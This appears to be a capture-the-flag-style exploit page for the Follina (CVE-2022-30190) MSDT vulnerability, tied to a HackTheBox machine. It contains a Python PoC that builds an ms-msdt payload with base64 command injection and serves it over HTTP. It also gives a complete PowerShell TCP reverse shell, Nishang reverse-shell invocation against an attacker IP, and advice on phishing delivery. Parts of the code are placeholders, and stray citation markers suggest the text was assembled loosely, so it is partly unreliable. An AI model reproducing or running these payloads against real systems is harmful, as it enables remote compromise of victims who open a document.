
Automated PoC exploit for CVE-2022-30190 (Follina) that generates malicious RTF/DOCX files abusing MSDT protocol to execute arbitrary commands and deploy reverse shells via PowerShell.
Follina (CVE-2022-30190) is a critical remote code execution (RCE) vulnerability that affects the Microsoft Support Diagnostic Tool (MSDT). This flaw was originally discovered through a malicious file detected on VirusTotal and was named by researcher Kevin Beaumont.
In the context of the Outdated machine from HackTheBox, this vulnerability is used as the main entry vector to gain access to the system.
The exploitation is based on abusing the ms-msdt protocol scheme, allowing an attacker to execute arbitrary code by loading external resources. The attack can be triggered simply by opening or previewing a specially crafted Office document (DOCX) or Rich Text Format (RTF) file.
To automate the attack, it is recommended to use proof-of-concept (PoC) scripts available on platforms like GitHub. The follina.py script allows easy configuration of the payload.
Suggested repository: Functional versions by researchers such as John Hammond or Edge-Security are mentioned.
Generation command:
python3 follina.py -m command -t rtf -c "command_to_execute"
Where:
-m indicates execution mode (command or binary)-t the file type (rtf or docx)-c the command to injectAn effective method to obtain an interactive shell on Windows is to inject a PowerShell statement that downloads and invokes a reverse shell from the Nishang suite (Invoke-PowerShellTcp.ps1).
The exploit script generates a malicious HTML resource that contains the Base64-encoded instruction and automatically hosts it on a local web server (port 80). The malicious document (click_me.rtf) will point to this URL to trigger the Windows diagnostic process and execute the code.
In realistic or audit scenarios, the attacker can send the link to the HTML resource or the malicious document to a victim via phishing or SMTP techniques (using tools like swaks).
Upon user interaction (or an automated task processing the file), MSDT interprets the payload and establishes a connection back to the attacker's machine.
To receive the connection, the attacker must be listening (e.g., with netcat or rlwrap) on the port configured in the reverse shell. After successful exploitation, an interactive shell is obtained with the privileges of the user who performed the action, allowing local enumeration and privilege escalation.
follina.py ScriptThis script automates the creation of the malicious file (RTF or DOCX), generates the HTML resource that exploits the ms-msdt protocol scheme, and starts a local server to serve the payload.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Structure based on research by Kevin Beaumont and mentioned PoCs [2, 6]
def generate_payload(command):
# The command must be Base64-encoded to be processed by MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload that abuses the ms-msdt protocol [5]
# A long string of characters is used to fill the buffer and trigger execution
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Additional padding to ensure processing
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Generates an RTF file that points to the external HTML resource [3, 4]
print(f"[*] Generating malicious file: {filename}")
# Note: In a real implementation, the OLE object pointing to server_url is injected here
with open(filename, "w") as f:
f.write(f"RTF file configured to connect to {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] HTTP server active on port {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Execution mode [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="File type to generate [3]")
parser.add_argument("-c", "--command", required=True, help="Command to execute on the victim system [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Local server port [7]")
args = parser.parse_args()
# 1. Create the HTML payload
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Create the malicious document
filename = f"click_me.{args.type}"
create_rtf(filename, "http://your_attacker_ip")
# 3. Start the server to receive the request [4, 7]
run_server(args.port)
Critical Parameters: As described in the sources, the script uses -m for the mode, -t for the file type, and -c for the command.
PowerShell Injection: A common use seen in s4vitar's training is to inject a PowerShell statement that downloads and invokes a Nishang reverse shell (Invoke-PowerShellTcp.ps1) to gain interactive access.
Execution: The attack is triggered when the victim opens or simply views the malicious file (RTF/DOCX), causing the system to attempt to load the HTML resource and execute the command through the Microsoft Diagnostic Tool (MSDT).
Listening: You must be listening (e.g., with netcat) on the port specified in your reverse shell to receive the connection once the exploit triggers on the victim machine.
Invoke-PowerShellTcp.ps1 (Nishang)The Invoke-PowerShellTcp.ps1 script is one of the most used tools from the Nishang suite for obtaining reverse shells on Windows systems.
The original script is downloaded from the official Nishang repository on GitHub. Typical steps for its use are:
wget to fetch the resource to the attacker's machine.reverse.ps1 or ps.ps1, to facilitate invocation from the victim machine.To turn the script into a self-executing payload, add a line like the following at the end of the .ps1 file:
Invoke-PowerShellTcp -Reverse -IPAddress <YOUR_ATTACKER_IP> -Port <YOUR_PORT>
Where <YOUR_ATTACKER_IP> and <YOUR_PORT> must be replaced with your listening data (e.g., 10.10.14.29 and 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(Note: This code follows the logic of the "gitbash" and interactive terminals mentioned in machine resolutions like Compiled.)